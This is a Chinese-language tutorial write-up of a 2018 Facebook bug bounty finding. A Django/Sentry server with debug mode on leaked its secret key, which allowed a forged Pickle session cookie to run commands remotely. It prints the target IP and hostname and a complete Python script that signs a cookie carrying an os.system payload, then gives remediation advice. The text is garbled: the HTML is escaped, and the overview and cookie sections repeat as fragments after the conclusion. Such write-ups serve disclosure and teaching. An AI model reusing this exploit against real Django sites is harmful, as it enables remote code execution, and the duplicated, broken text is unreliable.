Django框架中Pickle反序列化漏洞分析与利用<\/h1>

漏洞概述<\/h2>
本教学文档详细分析了一个Facebook服务器上发现的Django框架中Pickle反序列化漏洞，该漏洞允许攻击者通过伪造会话cookie执行任意命令，获得了Facebook官方5000美元奖励。<\/p>

漏洞发现过程<\/h2>

目标识别<\/h3>

目标IP段：199.201.65.0\/24<\/li>
具体目标IP：199.201.65.36<\/li>
服务识别：运行Sentry服务（基于Python和Django的日志收集应用）<\/li>

主机名：sentryagreements.thefacebook.com<\/li> <\/ul>

初步观察<\/h3>

页面频繁出现堆栈跟踪(stacktrace)行为<\/li>
密码重置功能不稳定，经常崩溃<\/li>

Django调试模式未关闭，暴露运行环境信息<\/li> <\/ul>

关键漏洞点分析<\/h2>

1. 环境变量泄露<\/h3>

堆栈跟踪暴露了以下关键环境变量：<\/p>

SESSION_COOKIE_NAME<\/code>: sentrysid<\/li>
SESSION_SERIALIZER<\/code>: django.contrib.sessions.serializers.PickleSerializer<\/li>
SESSION_ENGINE<\/code>: django.contrib.sessions.backends.signed_cookies<\/li>

SENTRY_OPTIONS<\/code>: 包含Sentry配置信息列表<\/li>
<\/ul>
2. Pickle序列化风险<\/h3>

Django使用Pickle模块进行对象序列化\/反序列化<\/li>
Pickle协议允许序列化任意Python对象<\/li>
如果攻击者能控制序列化数据，可能导致任意代码执行<\/li>
<\/ul>
3. 密钥泄露<\/h3>

SENTRY_OPTIONS<\/code>中暴露了system.secret-key<\/code><\/li>
该密钥用于会话验证，等同于Django的SECRET_KEY<\/code><\/li>
文档说明：若该密钥泄露，必须重新生成，否则会话可能被劫持<\/li>
<\/ul>
漏洞利用步骤<\/h2>
1. 获取当前会话cookie<\/h3>
示例cookie值：

gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw<\/code><\/p>
2. 构造恶意Payload<\/h3>
#!\/usr\/bin\/python<\/span>
<\/span><\/span>import<\/span> django.core.signing,<\/span> django.contrib.sessions.serializers
<\/span><\/span>from<\/span> django.http import<\/span> HttpResponse
<\/span><\/span>import<\/span> cPickle
<\/span><\/span>import<\/span> os
<\/span><\/span>
<\/span><\/span>SECRET_KEY=<\/span>'[获取的密钥]'<\/span> 
<\/span><\/span>
<\/span><\/span># 原始cookie<\/span>
<\/span><\/span>cookie=<\/span>'gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'<\/span>
<\/span><\/span>
<\/span><\/span># 反序列化原始cookie<\/span>
<\/span><\/span>newContent =<\/span> django.<\/span>core.<\/span>signing.<\/span>loads(
<\/span><\/span>    cookie,
<\/span><\/span>    key=<\/span>SECRET_KEY,
<\/span><\/span>    serializer=<\/span>django.<\/span>contrib.<\/span>sessions.<\/span>serializers.<\/span>PickleSerializer,
<\/span><\/span>    salt=<\/span>'django.contrib.sessions.backends.signed_cookies'<\/span>
<\/span><\/span>)
<\/span><\/span>
<\/span><\/span># 构造恶意Pickle对象<\/span>
<\/span><\/span>class<\/span> PickleRce<\/span>(object):
<\/span><\/span>    def<\/span> __reduce__<\/span>(self):
<\/span><\/span>        return<\/span> (os.<\/span>system,("sleep 30"<\/span>,))
<\/span><\/span>
<\/span><\/span># 添加恶意对象到cookie内容<\/span>
<\/span><\/span>newContent['testcookie'<\/span>] =<\/span> PickleRce()
<\/span><\/span>
<\/span><\/span># 重新序列化为恶意cookie<\/span>
<\/span><\/span>print django.<\/span>core.<\/span>signing.<\/span>dumps(
<\/span><\/span>    newContent,
<\/span><\/span>    key=<\/span>SECRET_KEY,
<\/span><\/span>    serializer=<\/span>django.<\/span>contrib.<\/span>sessions.<\/span>serializers.<\/span>PickleSerializer,
<\/span><\/span>    salt=<\/span>'django.contrib.sessions.backends.signed_cookies'<\/span>,
<\/span><\/span>    compress=<\/span>True<\/span>
<\/span><\/span>)
<\/span><\/span><\/code><\/pre>3. 漏洞验证<\/h3>

将生成的恶意cookie替换原sentrysid cookie<\/li>
访问服务，若页面响应延迟30秒，则证明漏洞存在<\/li>
<\/ul>
漏洞修复建议<\/h2>

关闭调试模式<\/strong>：生产环境必须关闭Django调试模式<\/li>
密钥保护<\/strong>：

确保SECRET_KEY不会通过任何途径泄露<\/li>
定期轮换密钥<\/li>
<\/ul>
<\/li>
序列化方案<\/strong>：避免使用PickleSerializer，改用JSONSerializer<\/li>
输入验证<\/strong>：对所有反序列化操作进行严格验证<\/li>
网络隔离<\/strong>：敏感服务应部署在独立VLAN中<\/li>
<\/ol>
时间线与处理结果<\/h2>

2018.7.30 00:00 漏洞初报<\/li>
2018.7.30 15:25 Facebook分类并下线Sentry服务<\/li>
2018.8.9 18:10 补丁修复完成<\/li>
2018.8.9 20:10 获得$5000奖励<\/li>
确认Sentry服务器位于独立VLAN，未包含用户数据<\/li>
<\/ul>
总结<\/h2>
本案例展示了Django框架中Pickle反序列化结合密钥泄露导致的严重安全问题。开发人员应当：<\/p>

严格保护所有加密密钥<\/li>
谨慎选择序列化方案<\/li>
确保生产环境配置安全<\/li>
及时修复已知漏洞<\/li>
<\/ol>
安全研究人员在进行此类测试时，应遵循负责任的披露流程，确保测试行为合法合规。<\/p>

Django框架中Pickle反序列化漏洞分析与利用<\/h1>

漏洞概述<\/h2> 本教学文档详细分析了一个Facebook服务器上发现的Django框架中Pickle反序列化漏洞，该漏洞允许攻击者通过伪造会话cookie执行任意命令，获得了Facebook官方5000美元奖励。<\/p>

漏洞发现过程<\/h2>

关键漏洞点分析<\/h2>

漏洞利用步骤<\/h2>

1. 获取当前会话cookie<\/h3> 示例cookie值： gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw<\/code><\/p>

漏洞概述<\/h2>
本教学文档详细分析了一个Facebook服务器上发现的Django框架中Pickle反序列化漏洞，该漏洞允许攻击者通过伪造会话cookie执行任意命令，获得了Facebook官方5000美元奖励。<\/p>

1. 获取当前会话cookie<\/h3>
示例cookie值：
`gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw<\/code><\/p>`